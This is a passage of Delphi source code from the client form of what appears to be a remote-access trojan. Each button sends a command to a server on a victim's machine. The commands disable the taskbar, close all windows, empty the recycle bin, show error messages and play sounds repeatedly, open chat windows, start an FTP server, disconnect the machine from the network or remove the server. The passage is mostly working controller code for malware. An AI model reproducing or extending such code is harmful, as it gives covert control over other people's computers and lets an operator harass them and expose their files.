     end
end;

procedure TfrmClient.FlatButton82Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Activating Constant Error Messages...');
      Client.SendStr('Constantmessages' + #13#10);
     end
end;

procedure TfrmClient.FlatButton81Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Printing Default Test Page...');
      Client.SendStr('Printtestpage' + #13#10);
     end
end;

procedure TfrmClient.FlatButton83Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Activating Random Tasks...');
      Client.SendStr('Randomtaskson' + #13#10);
     end
end;

procedure TfrmClient.FlatButton84Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Deactivating Random Tasks...');
      Client.SendStr('Randomtasksoff' + #13#10);
     end
end;

procedure TfrmClient.FlatButton85Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Disabling the Taskbar');
      Client.SendStr('Disabletaskbar' + #13#10);
     end
end;

procedure TfrmClient.FlatButton86Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Enabling the Taskbar');
      Client.SendStr('Enabletaskbar' + #13#10);
     end
end;

procedure TfrmClient.FlatButton87Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing System Start Sound ');
      Client.SendStr('Sysstartsound' + #13#10);
     end
end;

procedure TfrmClient.FlatButton88Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing System Exit Sound ');
      Client.SendStr('Sysexitsound' + #13#10);
     end
end;

procedure TfrmClient.FlatButton89Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing System Hand Sound ');
      Client.SendStr('Syshandsound' + #13#10);
     end
end;

procedure TfrmClient.FlatButton90Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing System Asterisk Sound ');
      Client.SendStr('Sysasterisksound' + #13#10);
     end
end;

procedure TfrmClient.FlatButton91Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing System Question Sound ');
      Client.SendStr('Sysquestionsound' + #13#10);
     end
end;

procedure TfrmClient.FlatButton92Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing System Exclamation Sound ');
      Client.SendStr('Sysexclamationsound' + #13#10);
     end
end;

procedure TfrmClient.FlatButton93Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing System Welcome Sound ');
      Client.SendStr('Syswelcomesound' + #13#10);
     end
end;

procedure TfrmClient.FlatButton94Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing System Default Sound ');
      Client.SendStr('Sysdefaultsound' + #13#10);
     end
end;

procedure TfrmClient.FlatButton95Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing Beeper 1 Sound ');
      Client.SendStr('beeperone' + #13#10);
     end
end;

procedure TfrmClient.FlatButton96Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing Beeper 2 Sound ');
      Client.SendStr('beepertwo' + #13#10);
     end
end;

procedure TfrmClient.FlatButton97Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing Beeper 3 Sound ');
      Client.SendStr('beeperthree' + #13#10);
     end
end;

procedure TfrmClient.FlatButton98Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing Beeper 4 Sound ');
      Client.SendStr('beeperfour' + #13#10);
     end
end;

procedure TfrmClient.FlatButton99Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing Beeper 5 Sound ');
      Client.SendStr('beeperfive' + #13#10);
     end
end;

procedure TfrmClient.FlatButton100Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing Beeper 6 Sound ');
      Client.SendStr('beepersix' + #13#10);
     end
end;

procedure TfrmClient.FlatButton101Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing Beeper 7 Sound ');
      Client.SendStr('beeperseven' + #13#10);
     end
end;

procedure TfrmClient.FlatButton102Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Playing Beeper 8 Sound ');
      Client.SendStr('beepereight' + #13#10);
     end
end;

procedure TfrmClient.FlatButton103Click(Sender: TObject);
begin
if Connected then
      begin
         info.Caption:=('Starting chat session...');
         frmChat.Show;
         Client.SendStr('ECW' + #13#10);
      end
end;

procedure TfrmClient.FlatButton104Click(Sender: TObject);
begin
if Connected then
      begin
      info.caption:=('Showing host''s message window...');
      Client.SendStr('SCW' + #13#10);
      end;
end;

procedure TfrmClient.FlatButton105Click(Sender: TObject);
begin
if Connected then
     begin
     info.caption:=('Hiding host''s message window...');
     Client.SendStr('HCW' + #13#10);
     end;
end;

procedure TfrmClient.FlatButton106Click(Sender: TObject);
begin
if Connected then
      begin
      info.caption:=('Showing host''s reply box...');
      Client.SendStr('SRB' + #13#10);
end;
end;

procedure TfrmClient.FlatButton107Click(Sender: TObject);
begin
if Connected then
      begin
      info.caption:=('Hiding host''s reply box...');
      Client.SendStr('HRB' + #13#10);
      end;
end;

procedure TfrmClient.FlatButton108Click(Sender: TObject);
begin
if Connected then
      begin
      info.caption:=('Closing Server...');
      Client.SendStr('Closeserver' + #13#10);
      end;
end;

procedure TfrmClient.FlatButton109Click(Sender: TObject);
begin
if Connected then
      begin
      info.caption:=('Removing Server...');
      Client.SendStr('REMOVESERVER' + #13#10);
      end;
end;

procedure TfrmClient.FlatButton110Click(Sender: TObject);
begin
if Connected then
      begin
      info.caption:=('Disconnecting Server from Net...');
      Client.SendStr('Disconnectnet' + #13#10);
      end;
end;

procedure TfrmClient.FlatButton113Click(Sender: TObject);
begin
if Connected then
      begin
      info.caption:=('Minimizing All Windows');
      Client.SendStr('Minimizeall' + #13#10);
      end;
end;

procedure TfrmClient.FlatButton114Click(Sender: TObject);
begin
if Connected then
      begin
      info.caption:=('Closing All Windows');
      Client.SendStr('Closeall' + #13#10);
      end;
end;

procedure TfrmClient.FlatButton115Click(Sender: TObject);
begin
if Connected then
      begin
      info.caption:=('Emptying Recycling Bin');
      Client.SendStr('Emptybin' + #13#10);
      end;
end;

procedure TfrmClient.FlatButton111Click(Sender: TObject);
begin
if Connected then
      begin
      info.caption:=('Enabling FTP Server');
      Client.SendStr('Enableftp' + #13#10);
      end;
end;

procedure TfrmClient.FlatButton112Click(Sender: TObject);
begin
if Connected then
      begin
      info.caption:=('Disabling FTP Server');
      Client.SendStr('Disableftp' + #13#10);
      end;
end;

procedure TfrmClient.FlatButton5Click(Sender: TObject);
begin
if Connected then
      begin
      info.caption:=('Closing Server');
      Client.SendStr('Closeserver' + #13#10);
      end;
end;

end.
